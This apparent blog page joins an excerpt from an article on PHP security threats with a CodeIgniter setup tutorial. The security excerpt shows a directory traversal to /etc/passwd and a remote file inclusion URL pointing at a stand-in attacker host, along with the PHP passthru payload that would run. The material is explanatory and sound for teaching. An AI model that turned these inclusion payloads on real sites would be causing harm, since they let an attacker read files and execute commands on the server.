This article discusses the common threats and challenges of programming secure PHP applications and practical methods for doing so.

Introduction

The goal of this paper is not only to show common threats and challenges of programming secure PHP applications but also to show you practical methods for doing so. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand — but they can.

Dangers

Files
PHP has some very flexible file handling functions. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.
[ad#squere-ads]
Example
On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:

http://example.com/page.php?i=aboutus.html

The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:

* Has the programmer considered directory traversals like i=../../../etc/passwd?
* Does he check for the .html extension?
* Does he use fopen() to include the files?
* Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:

http://example.com/page.php?i=http://evilhacker.org/exec.html

Where exec.html contains a couple of lines of code:

<?php
passthru ('id');
passthru ('ls -al /etc');
passthru ('ping -c 1 evilhaxor.org');
passthru ('echo You have been hax0red | mail root');
?>

I am sure you get the idea. A lot of bad things can be done from here.
Read More

Actually CodeIgniter framework (CI) is nearly zero configuration. First is to put your CI files to your webserver, in this example will be using the web root directory of my webserver.

Host : www.johnbernardabella.com
Database : localhost
Username : test
Password : test

After we need to modify system\application\config\config.php

[ad#squere-ads]

Look for :

$config['base_url'] = ''

change to :

$config['base_url'] = "http://www.johnbernardabella.com/" //for we are using the web root of the server

Then Save.

Second is to open system\application\config\database.php

$db['default']['hostname'] = "localhost"; //Host of the database
$db['default']['username'] = "test"; //Username of the database
$db['default']['password'] = "test"; //Password of the database
$db['default']['database'] = "test"; // Database Name
$db['default']['dbdriver'] = "mysql"; // Database driver for this example I use mysql
$db['default']['dbprefix'] = ""; // Database prefix
$db['default']['pconnect'] = FALSE; // Connection type (pconnect of connect)

and you CI is now configured, it now able to connect the database.

Next topic would be tweaking defualt CI configuration.

Is an Open Source Web Application Framework that helps you write kick-ass PHP programs.

CodeIgniter is a powerful PHP framework with a very small footprint, built for PHP coders who need a simple and elegant toolkit to create full-featured web applications. If you’re a developer who lives in the real world of shared hosting accounts and clients with [ad#squere-ads] deadlines, and if you’re tired of ponderously large and thoroughly undocumented frameworks.

You can download it here.